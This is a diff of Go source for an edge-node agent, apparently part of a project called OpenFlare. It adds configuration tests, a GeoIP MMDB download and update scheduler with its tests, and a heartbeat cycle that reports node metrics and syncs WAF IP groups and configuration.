t.Setenv("OPENFLARE_CITY_MMDB_PATH", "/new/GeoLite2-City.mmdb")
|
||||
t.Setenv("OPENFLARE_CITY_MMDB_DOWNLOAD_URL", "https://geo.example/GeoLite2-City.mmdb")
|
||||
|
||||
cfg, err := Load(configPath)
|
||||
if err != nil {
|
||||
t.Fatalf("Load failed: %v", err)
|
||||
}
|
||||
if cfg.ServerURL != "http://new:3000" {
|
||||
t.Fatalf("expected server url from env, got %s", cfg.ServerURL)
|
||||
}
|
||||
if cfg.AccessToken != "new-token" {
|
||||
t.Fatalf("expected token from env, got %s", cfg.AccessToken)
|
||||
}
|
||||
if cfg.OpenrestyPath != "/new/openresty" {
|
||||
t.Fatalf("expected openresty path from env, got %s", cfg.OpenrestyPath)
|
||||
}
|
||||
if cfg.CityMMDBPath != "/new/GeoLite2-City.mmdb" || cfg.CityMMDBDownloadURL != "https://geo.example/GeoLite2-City.mmdb" {
|
||||
t.Fatalf("unexpected City MMDB env overrides: %s / %s", cfg.CityMMDBPath, cfg.CityMMDBDownloadURL)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadKeepsExplicitCityMMDBConfig(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
configPath := filepath.Join(dir, "agent.json")
|
||||
payload := `{"server_url":"http://127.0.0.1:3000","agent_token":"token","node_name":"edge-01","node_ip":"10.0.0.8","city_mmdb_path":"/custom/GeoLite2-City.mmdb","city_mmdb_download_url":"https://custom.example/GeoLite2-City.mmdb"}`
|
||||
if err := os.WriteFile(configPath, []byte(payload), 0o644); err != nil {
|
||||
t.Fatalf("failed to write config: %v", err)
|
||||
}
|
||||
cfg, err := Load(configPath)
|
||||
if err != nil {
|
||||
t.Fatalf("Load failed: %v", err)
|
||||
}
|
||||
if cfg.CityMMDBPath != "/custom/GeoLite2-City.mmdb" || cfg.CityMMDBDownloadURL != "https://custom.example/GeoLite2-City.mmdb" {
|
||||
t.Fatalf("explicit City MMDB config changed: %s / %s", cfg.CityMMDBPath, cfg.CityMMDBDownloadURL)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadUsesMillisecondsForIntervals(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
configPath := filepath.Join(dir, "agent.json")
|
||||
payload := map[string]any{
|
||||
"server_url": "http://127.0.0.1:3000",
|
||||
"agent_token": "token",
|
||||
"node_name": "edge-01",
|
||||
"node_ip": "10.0.0.8",
|
||||
"heartbeat_interval": 30000,
|
||||
"request_timeout": 1500,
|
||||
}
|
||||
data, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to marshal config: %v", err)
|
||||
}
|
||||
if err = os.WriteFile(configPath, data, 0o644); err != nil {
|
||||
t.Fatalf("failed to write config: %v", err)
|
||||
}
|
||||
|
||||
cfg, err := Load(configPath)
|
||||
if err != nil {
|
||||
t.Fatalf("Load failed: %v", err)
|
||||
}
|
||||
|
||||
if cfg.HeartbeatInterval.Duration() != 30*time.Second {
|
||||
t.Fatalf("unexpected heartbeat interval: %s", cfg.HeartbeatInterval)
|
||||
}
|
||||
if cfg.RequestTimeout.Duration() != 1500*time.Millisecond {
|
||||
t.Fatalf("unexpected request timeout: %s", cfg.RequestTimeout)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSavePersistsMillisecondsAndOmitsRuntimeVersions(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
configPath := filepath.Join(dir, "agent.json")
|
||||
if err := os.WriteFile(configPath, []byte(`{"server_url":"http://127.0.0.1:3000","agent_token":"token","node_name":"edge-01","node_ip":"10.0.0.8"}`), 0o644); err != nil {
|
||||
t.Fatalf("failed to write config: %v", err)
|
||||
}
|
||||
|
||||
cfg, err := Load(configPath)
|
||||
if err != nil {
|
||||
t.Fatalf("Load failed: %v", err)
|
||||
}
|
||||
cfg.ExtVersion = "1.27.1.2"
|
||||
cfg.HeartbeatInterval = MillisecondDuration(5 * time.Second)
|
||||
cfg.RequestTimeout = MillisecondDuration(7 * time.Second)
|
||||
cfg.OpenrestyResolvers = []string{"10.0.0.2", "1.1.1.1"}
|
||||
|
||||
if err = cfg.Save(); err != nil {
|
||||
t.Fatalf("Save failed: %v", err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read saved config: %v", err)
|
||||
}
|
||||
var decoded map[string]any
|
||||
if err = json.Unmarshal(data, &decoded); err != nil {
|
||||
t.Fatalf("failed to decode saved config: %v", err)
|
||||
}
|
||||
if _, ok := decoded["agent_version"]; ok {
|
||||
t.Fatal("agent_version should not be persisted")
|
||||
}
|
||||
if _, ok := decoded["nginx_version"]; ok {
|
||||
t.Fatal("nginx_version should not be persisted")
|
||||
}
|
||||
if decoded["heartbeat_interval"] != float64(5000) {
|
||||
t.Fatalf("unexpected heartbeat interval: %#v", decoded["heartbeat_interval"])
|
||||
}
|
||||
if decoded["request_timeout"] != float64(7000) {
|
||||
t.Fatalf("unexpected request timeout: %#v", decoded["request_timeout"])
|
||||
}
|
||||
resolvers, ok := decoded["openresty_resolvers"].([]any)
|
||||
if !ok || len(resolvers) != 2 || resolvers[0] != "10.0.0.2" || resolvers[1] != "1.1.1.1" {
|
||||
t.Fatalf("unexpected resolvers: %#v", decoded["openresty_resolvers"])
|
||||
}
|
||||
if decoded["openresty_observability_port"] != float64(defaultOpenRestyObservabilityPort) {
|
||||
t.Fatalf("unexpected observability port: %#v", decoded["openresty_observability_port"])
|
||||
}
|
||||
if decoded["observability_replay_minutes"] != float64(defaultObservabilityReplayMinutes) {
|
||||
t.Fatalf("unexpected observability replay minutes: %#v", decoded["observability_replay_minutes"])
|
||||
}
|
||||
if decoded["city_mmdb_path"] != cfg.CityMMDBPath || decoded["city_mmdb_download_url"] != cfg.CityMMDBDownloadURL {
|
||||
t.Fatalf("City MMDB config was not persisted: %#v", decoded)
|
||||
}
|
||||
if _, ok := decoded["nginx_path"]; ok {
|
||||
t.Fatal("legacy nginx_path should not be persisted")
|
||||
}
|
||||
}
|
||||
|
||||
func TestInitialAuthToken(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
agentToken string
|
||||
discoveryToken string
|
||||
expected string
|
||||
}{
|
||||
{
|
||||
name: "prefer agent token",
|
||||
agentToken: "agent-token",
|
||||
discoveryToken: "discovery-token",
|
||||
expected: "agent-token",
|
||||
},
|
||||
{
|
||||
name: "fallback to discovery token",
|
||||
agentToken: " ",
|
||||
discoveryToken: "discovery-token",
|
||||
expected: "discovery-token",
|
||||
},
|
||||
{
|
||||
name: "nil config returns empty string",
|
||||
agentToken: "",
|
||||
discoveryToken: "",
|
||||
expected: "",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
var cfg *Config
|
||||
if tt.name != "nil config returns empty string" {
|
||||
cfg = &Config{
|
||||
AccessToken: tt.agentToken,
|
||||
DiscoveryToken: tt.discoveryToken,
|
||||
}
|
||||
}
|
||||
if token := cfg.InitialAuthToken(); token != tt.expected {
|
||||
t.Fatalf("unexpected initial auth token: %q", token)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestNodeIPPriority(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
ip string
|
||||
expected int
|
||||
}{
|
||||
{
|
||||
name: "public ipv4 preferred",
|
||||
ip: "8.8.8.8",
|
||||
expected: 2,
|
||||
},
|
||||
{
|
||||
name: "private ipv4 fallback",
|
||||
ip: "10.0.0.8",
|
||||
expected: 1,
|
||||
},
|
||||
{
|
||||
name: "link local ignored",
|
||||
ip: "169.254.1.10",
|
||||
expected: -1,
|
||||
},
|
||||
{
|
||||
name: "loopback ignored",
|
||||
ip: "127.0.0.1",
|
||||
expected: -1,
|
||||
},
|
||||
{
|
||||
name: "nil ignored",
|
||||
ip: "",
|
||||
expected: -1,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
var parsed net.IP
|
||||
if tt.ip != "" {
|
||||
parsed = net.ParseIP(tt.ip)
|
||||
}
|
||||
if got := iputil.Score(parsed); got != tt.expected {
|
||||
t.Fatalf("unexpected priority for %q: got %d want %d", tt.ip, got, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package config
|
||||
|
||||
import edgeconfig "Wavelet/openflare/share/edge/config"
|
||||
|
||||
// MillisecondDuration is an alias for the edge config millisecond-precision duration type.
|
||||
type MillisecondDuration = edgeconfig.MillisecondDuration
|
||||
@@ -0,0 +1,7 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package config
|
||||
|
||||
// Version is the current agent version string, overridden at build time.
|
||||
var Version = "dev"
|
||||
@@ -0,0 +1,16 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package geoipdata holds shared GeoIP database filename constants.
|
||||
//
|
||||
// MaxMind MMDB files are NOT embedded into the agent binary. Docker images
|
||||
// COPY them onto the default data paths; bare binary installs seed via download
|
||||
// on first start (see geoipupdate).
|
||||
package geoipdata
|
||||
|
||||
const (
|
||||
// DefaultMMDBName is the default Country database filename.
|
||||
DefaultMMDBName = "GeoLite2-Country.mmdb"
|
||||
// DefaultCityMMDBName is the default City database filename.
|
||||
DefaultCityMMDBName = "GeoLite2-City.mmdb"
|
||||
)
|
||||
@@ -0,0 +1,139 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package geoipupdate schedules local MaxMind GeoIP database updates for the agent.
|
||||
package geoipupdate
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
|
||||
"Wavelet/openflare/share/geoip"
|
||||
)
|
||||
|
||||
// Updater periodically downloads a fresh GeoIP MMDB file and seeds missing
|
||||
// databases via download (or relies on image-provided files under data_dir).
|
||||
type Updater struct {
|
||||
MMDBPath string
|
||||
DownloadURL string
|
||||
CityMMDBPath string
|
||||
CityDownloadURL string
|
||||
UpdateInterval time.Duration
|
||||
downloadDatabase func(context.Context, string, string) error
|
||||
}
|
||||
|
||||
// EnsureInitialDatabases downloads any missing Country/City MMDB once.
|
||||
// When files already exist (e.g. Docker image COPY), this is a no-op.
|
||||
// Network is used only when a managed path is absent — not for binary embeds.
|
||||
func (u *Updater) EnsureInitialDatabases(ctx context.Context) error {
|
||||
if u == nil {
|
||||
return nil
|
||||
}
|
||||
return u.ensureMissingDatabases(ctx)
|
||||
}
|
||||
|
||||
func (u *Updater) ensureMissingDatabases(ctx context.Context) error {
|
||||
databases := u.managedDatabases()
|
||||
var errs []error
|
||||
for _, database := range databases {
|
||||
if database.path == "" || database.downloadURL == "" {
|
||||
continue
|
||||
}
|
||||
exists, err := fileExists(database.path)
|
||||
if err != nil {
|
||||
errs = append(errs, fmt.Errorf("stat GeoIP %s mmdb failed: %w", database.name, err))
|
||||
continue
|
||||
}
|
||||
if exists {
|
||||
continue
|
||||
}
|
||||
if err := u.download(ctx, database.path, database.downloadURL); err != nil {
|
||||
errs = append(errs, fmt.Errorf("seed GeoIP %s mmdb failed: %w", database.name, err))
|
||||
continue
|
||||
}
|
||||
slog.Info("seeded GeoIP mmdb via download", "database", database.name, "path", database.path)
|
||||
}
|
||||
return errors.Join(errs...)
|
||||
}
|
||||
|
||||
func fileExists(path string) (bool, error) {
|
||||
path = filepath.Clean(path)
|
||||
if path == "" || path == "." {
|
||||
return false, nil
|
||||
}
|
||||
info, err := os.Stat(path)
|
||||
if err == nil {
|
||||
if !info.Mode().IsRegular() {
|
||||
return false, fmt.Errorf("GeoIP MMDB path is not a regular file: %s", path)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
if os.IsNotExist(err) {
|
||||
return false, nil
|
||||
}
|
||||
return false, err
|
||||
}
|
||||
|
||||
func (u *Updater) download(ctx context.Context, path string, downloadURL string) error {
|
||||
if u.downloadDatabase != nil {
|
||||
return u.downloadDatabase(ctx, path, downloadURL)
|
||||
}
|
||||
return geoip.DownloadMaxMindDatabase(ctx, path, downloadURL)
|
||||
}
|
||||
|
||||
func (u *Updater) managedDatabases() []struct {
|
||||
name string
|
||||
path string
|
||||
downloadURL string
|
||||
} {
|
||||
return []struct {
|
||||
name string
|
||||
path string
|
||||
downloadURL string
|
||||
}{
|
||||
{name: "Country", path: u.MMDBPath, downloadURL: u.DownloadURL},
|
||||
{name: "City", path: u.CityMMDBPath, downloadURL: u.CityDownloadURL},
|
||||
}
|
||||
}
|
||||
|
||||
func (u *Updater) updateDatabases(ctx context.Context) error {
|
||||
var errs []error
|
||||
for _, database := range u.managedDatabases() {
|
||||
if database.path == "" || database.downloadURL == "" {
|
||||
continue
|
||||
}
|
||||
if err := u.download(ctx, database.path, database.downloadURL); err != nil {
|
||||
errs = append(errs, fmt.Errorf("update GeoIP %s mmdb failed: %w", database.name, err))
|
||||
continue
|
||||
}
|
||||
slog.Info("GeoIP mmdb updated", "database", database.name, "path", database.path)
|
||||
}
|
||||
return errors.Join(errs...)
|
||||
}
|
||||
|
||||
// Run starts the periodic GeoIP update loop and blocks until ctx is cancelled.
|
||||
func (u *Updater) Run(ctx context.Context) {
|
||||
if u == nil || u.MMDBPath == "" || u.UpdateInterval <= 0 {
|
||||
return
|
||||
}
|
||||
if err := u.EnsureInitialDatabases(ctx); err != nil {
|
||||
slog.Warn("initialize GeoIP databases failed", "country_path", u.MMDBPath, "city_path", u.CityMMDBPath, "error", err)
|
||||
}
|
||||
ticker := time.NewTicker(u.UpdateInterval)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
if err := u.updateDatabases(ctx); err != nil {
|
||||
slog.Warn("update GeoIP databases failed", "error", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package geoipupdate
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestEnsureInitialDatabasesDownloadsMissingOnly(t *testing.T) {
|
||||
tempDir := t.TempDir()
|
||||
countryPath := filepath.Join(tempDir, "GeoLite2-Country.mmdb")
|
||||
cityPath := filepath.Join(tempDir, "GeoLite2-City.mmdb")
|
||||
if err := os.WriteFile(cityPath, []byte("existing-city"), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var downloaded []string
|
||||
updater := &Updater{
|
||||
MMDBPath: countryPath,
|
||||
DownloadURL: "https://geo.example/GeoLite2-Country.mmdb",
|
||||
CityMMDBPath: cityPath,
|
||||
CityDownloadURL: "https://geo.example/GeoLite2-City.mmdb",
|
||||
downloadDatabase: func(_ context.Context, path, _ string) error {
|
||||
downloaded = append(downloaded, path)
|
||||
return os.WriteFile(path, []byte("downloaded"), 0o600)
|
||||
},
|
||||
}
|
||||
|
||||
if err := updater.EnsureInitialDatabases(context.Background()); err != nil {
|
||||
t.Fatalf("EnsureInitialDatabases failed: %v", err)
|
||||
}
|
||||
if !slices.Equal(downloaded, []string{countryPath}) {
|
||||
t.Fatalf("expected only missing Country download, got %#v", downloaded)
|
||||
}
|
||||
if data, err := os.ReadFile(cityPath); err != nil || string(data) != "existing-city" {
|
||||
t.Fatalf("existing City must stay untouched, data=%q err=%v", data, err)
|
||||
}
|
||||
if data, err := os.ReadFile(countryPath); err != nil || string(data) != "downloaded" {
|
||||
t.Fatalf("Country should be seeded via download, data=%q err=%v", data, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnsureInitialDatabasesNoOpWhenPresent(t *testing.T) {
|
||||
tempDir := t.TempDir()
|
||||
countryPath := filepath.Join(tempDir, "GeoLite2-Country.mmdb")
|
||||
cityPath := filepath.Join(tempDir, "GeoLite2-City.mmdb")
|
||||
if err := os.WriteFile(countryPath, []byte("c"), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(cityPath, []byte("city"), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
updater := &Updater{
|
||||
MMDBPath: countryPath,
|
||||
DownloadURL: "https://geo.example/GeoLite2-Country.mmdb",
|
||||
CityMMDBPath: cityPath,
|
||||
CityDownloadURL: "https://geo.example/GeoLite2-City.mmdb",
|
||||
downloadDatabase: func(_ context.Context, path, downloadURL string) error {
|
||||
t.Fatalf("must not download when files exist: %s %s", path, downloadURL)
|
||||
return nil
|
||||
},
|
||||
}
|
||||
if err := updater.EnsureInitialDatabases(context.Background()); err != nil {
|
||||
t.Fatalf("EnsureInitialDatabases failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpdateDatabasesAttemptsCityAfterCountryFailure(t *testing.T) {
|
||||
var paths []string
|
||||
updater := &Updater{
|
||||
MMDBPath: "/data/GeoLite2-Country.mmdb",
|
||||
DownloadURL: "https://geo.example/GeoLite2-Country.mmdb",
|
||||
CityMMDBPath: "/data/GeoLite2-City.mmdb",
|
||||
CityDownloadURL: "https://geo.example/GeoLite2-City.mmdb",
|
||||
downloadDatabase: func(_ context.Context, path, _ string) error {
|
||||
paths = append(paths, path)
|
||||
if path == "/data/GeoLite2-Country.mmdb" {
|
||||
return errors.New("country unavailable")
|
||||
}
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
err := updater.updateDatabases(context.Background())
|
||||
if err == nil || !slices.Equal(paths, []string{"/data/GeoLite2-Country.mmdb", "/data/GeoLite2-City.mmdb"}) {
|
||||
t.Fatalf("expected independent Country then City attempts, paths=%#v err=%v", paths, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnsureInitialDatabasesRejectsDirectoryPath(t *testing.T) {
|
||||
tempDir := t.TempDir()
|
||||
// Point Country path at a directory so fileExists must not treat it as seeded.
|
||||
updater := &Updater{
|
||||
MMDBPath: tempDir,
|
||||
DownloadURL: "https://geo.example/GeoLite2-Country.mmdb",
|
||||
downloadDatabase: func(_ context.Context, path, downloadURL string) error {
|
||||
t.Fatalf("must not download when path is a directory: %s %s", path, downloadURL)
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
err := updater.EnsureInitialDatabases(context.Background())
|
||||
if err == nil {
|
||||
t.Fatal("expected error when MMDB path is a directory")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "not a regular file") {
|
||||
t.Fatalf("expected regular-file error, got %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,229 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package heartbeat implements the periodic heartbeat cycle executed by the agent,
|
||||
// including payload preparation, config sync, WAF IP group application, and observability buffering.
|
||||
package heartbeat
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log/slog"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/config"
|
||||
"Wavelet/openflare/plugins/agent/observability"
|
||||
"Wavelet/openflare/plugins/agent/protocol"
|
||||
"Wavelet/openflare/plugins/agent/state"
|
||||
"Wavelet/openflare/plugins/agent/updater"
|
||||
edgeheartbeat "Wavelet/openflare/share/edge/heartbeat"
|
||||
"Wavelet/openflare/share/edge/nodeip"
|
||||
)
|
||||
|
||||
// SyncService is the interface used by Cycle to sync active configuration and WAF IP groups.
|
||||
type SyncService interface {
|
||||
SyncOnStartup(ctx context.Context, target *protocol.ActiveConfigMeta) error
|
||||
SyncOnce(ctx context.Context, target *protocol.ActiveConfigMeta) error
|
||||
WAFIPGroupChecksums() (map[string]string, error)
|
||||
ApplyWAFIPGroups(ctx context.Context, groups []protocol.WAFIPGroup) error
|
||||
}
|
||||
|
||||
// SettingsApplier is the interface used by Cycle to apply agent settings received from the server.
|
||||
type SettingsApplier interface {
|
||||
Apply(settings *protocol.AgentSettings) (intervalChanged bool)
|
||||
RestartOpenrestyIfNeeded(ctx context.Context)
|
||||
}
|
||||
|
||||
// Cycle holds the dependencies required to execute a single agent heartbeat cycle.
|
||||
type Cycle struct {
|
||||
Config *config.Config
|
||||
StateStore *state.Store
|
||||
ObservabilityBuffer *state.ObservabilityBufferStore
|
||||
Heartbeat API
|
||||
Sync SyncService
|
||||
Updater *updater.Service
|
||||
RecordSyncError func(err error)
|
||||
}
|
||||
|
||||
// Perform executes one complete heartbeat cycle: sends the heartbeat, syncs config, and applies settings.
|
||||
func (c *Cycle) Perform(ctx context.Context, nodeID string, startup bool, settings SettingsApplier) (bool, error) {
|
||||
payload, ackWindows := c.PrepareHeartbeatPayload(ctx, nodeID)
|
||||
heartbeatResult, err := c.Heartbeat.Heartbeat(ctx, payload)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
c.AckObservabilityWindows(ackWindows)
|
||||
if heartbeatResult == nil {
|
||||
heartbeatResult = &protocol.HeartbeatResult{}
|
||||
}
|
||||
mode := "periodic"
|
||||
if startup {
|
||||
mode = "startup"
|
||||
}
|
||||
slog.Debug("agent heartbeat succeeded", "mode", mode, "node_id", nodeID)
|
||||
|
||||
var changed bool
|
||||
if settings != nil {
|
||||
changed = settings.Apply(heartbeatResult.AgentSettings)
|
||||
}
|
||||
c.ApplyWAFIPGroups(ctx, heartbeatResult.WAFIPGroups)
|
||||
if startup {
|
||||
if err = c.Sync.SyncOnStartup(ctx, heartbeatResult.ActiveConfig); err != nil {
|
||||
c.recordSyncError(err)
|
||||
slog.Error("agent startup sync failed", "error", err)
|
||||
} else {
|
||||
slog.Debug("agent startup sync completed")
|
||||
}
|
||||
} else if err = c.Sync.SyncOnce(ctx, heartbeatResult.ActiveConfig); err != nil {
|
||||
c.recordSyncError(err)
|
||||
slog.Error("agent sync failed", "error", err)
|
||||
}
|
||||
if settings != nil {
|
||||
settings.RestartOpenrestyIfNeeded(ctx)
|
||||
}
|
||||
edgeheartbeat.TryAutoUpdate(ctx, c.Updater, agentSettingsToAutoUpdate(heartbeatResult.AgentSettings), "agent")
|
||||
return changed, nil
|
||||
}
|
||||
|
||||
// NodePayload builds and returns the full NodePayload to be sent in a heartbeat request.
|
||||
func (c *Cycle) NodePayload(ctx context.Context, nodeID string) protocol.NodePayload {
|
||||
snapshot, _ := c.StateStore.Load()
|
||||
openrestyStatus := strings.TrimSpace(snapshot.OpenrestyStatus)
|
||||
if openrestyStatus == "" {
|
||||
openrestyStatus = protocol.OpenrestyStatusUnknown
|
||||
}
|
||||
profile := observability.BuildProfile(c.Config, c.StateStore)
|
||||
edgeSnapshot := observability.CollectEdgeHealth(ctx, c.Config)
|
||||
accessLogs := observability.CollectAccessLogs(c.Config, c.StateStore)
|
||||
metricSnapshot := observability.BuildSnapshot(c.Config, c.StateStore)
|
||||
edgeHealth := observability.BuildEdgeHealth(edgeSnapshot, openrestyStatus, snapshot.OpenrestyMessage)
|
||||
healthEvents := observability.BuildHealthEvents(snapshot)
|
||||
|
||||
ip := c.Config.NodeIP
|
||||
if !c.Config.NodeIPConfigured {
|
||||
ip = nodeip.DetectWithContext(ctx)
|
||||
}
|
||||
|
||||
payload := protocol.NodePayload{
|
||||
SchemaVersion: 2,
|
||||
NodeID: nodeID,
|
||||
Name: c.Config.NodeName,
|
||||
IP: ip,
|
||||
Version: c.Config.Version,
|
||||
ExtVersion: c.Config.ExtVersion,
|
||||
CurrentVersion: snapshot.CurrentVersion,
|
||||
LastError: snapshot.LastError,
|
||||
OpenrestyStatus: openrestyStatus,
|
||||
OpenrestyMessage: snapshot.OpenrestyMessage,
|
||||
Profile: profile,
|
||||
HostMetrics: metricSnapshot,
|
||||
EdgeHealth: edgeHealth,
|
||||
AccessLogs: accessLogs,
|
||||
HealthEvents: healthEvents,
|
||||
}
|
||||
if c.Sync != nil {
|
||||
checksums, err := c.Sync.WAFIPGroupChecksums()
|
||||
if err != nil {
|
||||
slog.Debug("load local waf ip group checksums failed", "error", err)
|
||||
} else if len(checksums) > 0 {
|
||||
payload.WAFIPGroupChecksums = checksums
|
||||
}
|
||||
}
|
||||
return payload
|
||||
}
|
||||
|
||||
// PrepareHeartbeatPayload constructs the heartbeat payload with buffered observability records and returns the window timestamps to acknowledge.
|
||||
func (c *Cycle) PrepareHeartbeatPayload(ctx context.Context, nodeID string) (protocol.NodePayload, []int64) {
|
||||
payload := c.NodePayload(ctx, nodeID)
|
||||
if c.ObservabilityBuffer == nil || (payload.HostMetrics == nil && payload.EdgeHealth == nil && len(payload.AccessLogs) == 0) {
|
||||
return payload, nil
|
||||
}
|
||||
now := time.Now().UTC()
|
||||
retainAfterUnix := now.Add(-time.Duration(c.Config.ObservabilityReplayMinutes) * time.Minute).Unix()
|
||||
windowStartedAtUnix := state.ObservabilityWindowStartedAt(payload.HostMetrics, payload.EdgeHealth)
|
||||
if windowStartedAtUnix <= 0 {
|
||||
return payload, nil
|
||||
}
|
||||
|
||||
record := state.ObservabilityBufferRecord{
|
||||
WindowStartedAtUnix: windowStartedAtUnix,
|
||||
HostMetrics: payload.HostMetrics,
|
||||
EdgeHealth: payload.EdgeHealth,
|
||||
AccessLogs: payload.AccessLogs,
|
||||
QueuedAtUnix: now.Unix(),
|
||||
}
|
||||
if err := c.ObservabilityBuffer.Upsert(record, retainAfterUnix); err != nil {
|
||||
slog.Error("upsert observability buffer failed", "error", err)
|
||||
return payload, nil
|
||||
}
|
||||
|
||||
records, err := c.ObservabilityBuffer.Replayable(windowStartedAtUnix, retainAfterUnix)
|
||||
if err != nil {
|
||||
slog.Error("load replayable observability buffer failed", "error", err)
|
||||
return payload, []int64{windowStartedAtUnix}
|
||||
}
|
||||
|
||||
ackWindows := make([]int64, 0, len(records)+1)
|
||||
buffered := make([]protocol.BufferedObservabilityRecord, 0, len(records))
|
||||
for _, item := range records {
|
||||
if item.WindowStartedAtUnix <= 0 {
|
||||
continue
|
||||
}
|
||||
buffered = append(buffered, protocol.BufferedObservabilityRecord{
|
||||
CapturedAtUnix: item.WindowStartedAtUnix,
|
||||
HostMetrics: item.HostMetrics,
|
||||
EdgeHealth: item.EdgeHealth,
|
||||
AccessLogs: item.AccessLogs,
|
||||
})
|
||||
ackWindows = append(ackWindows, item.WindowStartedAtUnix)
|
||||
}
|
||||
payload.Buffered = buffered
|
||||
ackWindows = append(ackWindows, windowStartedAtUnix)
|
||||
return payload, ackWindows
|
||||
}
|
||||
|
||||
// AckObservabilityWindows acknowledges the given observability window timestamps in the buffer store.
|
||||
func (c *Cycle) AckObservabilityWindows(windowStartedAtUnix []int64) {
|
||||
if c.ObservabilityBuffer == nil || len(windowStartedAtUnix) == 0 {
|
||||
return
|
||||
}
|
||||
retainAfterUnix := time.Now().UTC().Add(-time.Duration(c.Config.ObservabilityReplayMinutes) * time.Minute).Unix()
|
||||
if err := c.ObservabilityBuffer.Ack(windowStartedAtUnix, retainAfterUnix); err != nil {
|
||||
slog.Error("ack observability buffer failed", "error", err)
|
||||
}
|
||||
}
|
||||
|
||||
// ApplyWAFIPGroups applies the WAF IP groups received from the server via the SyncService.
|
||||
func (c *Cycle) ApplyWAFIPGroups(ctx context.Context, groups []protocol.WAFIPGroup) {
|
||||
if len(groups) == 0 || c.Sync == nil {
|
||||
return
|
||||
}
|
||||
if err := c.Sync.ApplyWAFIPGroups(ctx, groups); err != nil {
|
||||
c.recordSyncError(err)
|
||||
slog.Error("agent apply waf ip groups failed", "error", err)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Cycle) recordSyncError(err error) {
|
||||
if c.RecordSyncError != nil {
|
||||
c.RecordSyncError(err)
|
||||
}
|
||||
}
|
||||
|
||||
// AgentSettingsToAutoUpdate converts AgentSettings to an AutoUpdateSettings value used by the edge heartbeat updater.
|
||||
func AgentSettingsToAutoUpdate(settings *protocol.AgentSettings) *edgeheartbeat.AutoUpdateSettings {
|
||||
if settings == nil {
|
||||
return nil
|
||||
}
|
||||
return &edgeheartbeat.AutoUpdateSettings{
|
||||
AutoUpdate: settings.AutoUpdate,
|
||||
UpdateNow: settings.UpdateNow,
|
||||
UpdateRepo: settings.UpdateRepo,
|
||||
UpdateChannel: settings.UpdateChannel,
|
||||
UpdateTag: settings.UpdateTag,
|
||||
}
|
||||
}
|
||||
|
||||
func agentSettingsToAutoUpdate(settings *protocol.AgentSettings) *edgeheartbeat.AutoUpdateSettings {
|
||||
return AgentSettingsToAutoUpdate(settings)
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package heartbeat
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/protocol"
|
||||
)
|
||||
|
||||
// RemoteClient is the interface that abstracts the remote API calls performed by Service.
|
||||
type RemoteClient interface {
|
||||
RegisterNode(ctx context.Context, payload protocol.NodePayload) (*protocol.RegisterNodeResponse, error)
|
||||
Heartbeat(ctx context.Context, payload protocol.NodePayload) (*protocol.HeartbeatResult, error)
|
||||
SetToken(token string)
|
||||
}
|
||||
|
||||
// API abstracts registration and heartbeat operations used by Cycle.
|
||||
type API interface {
|
||||
Register(ctx context.Context, payload protocol.NodePayload) (*protocol.RegisterNodeResponse, error)
|
||||
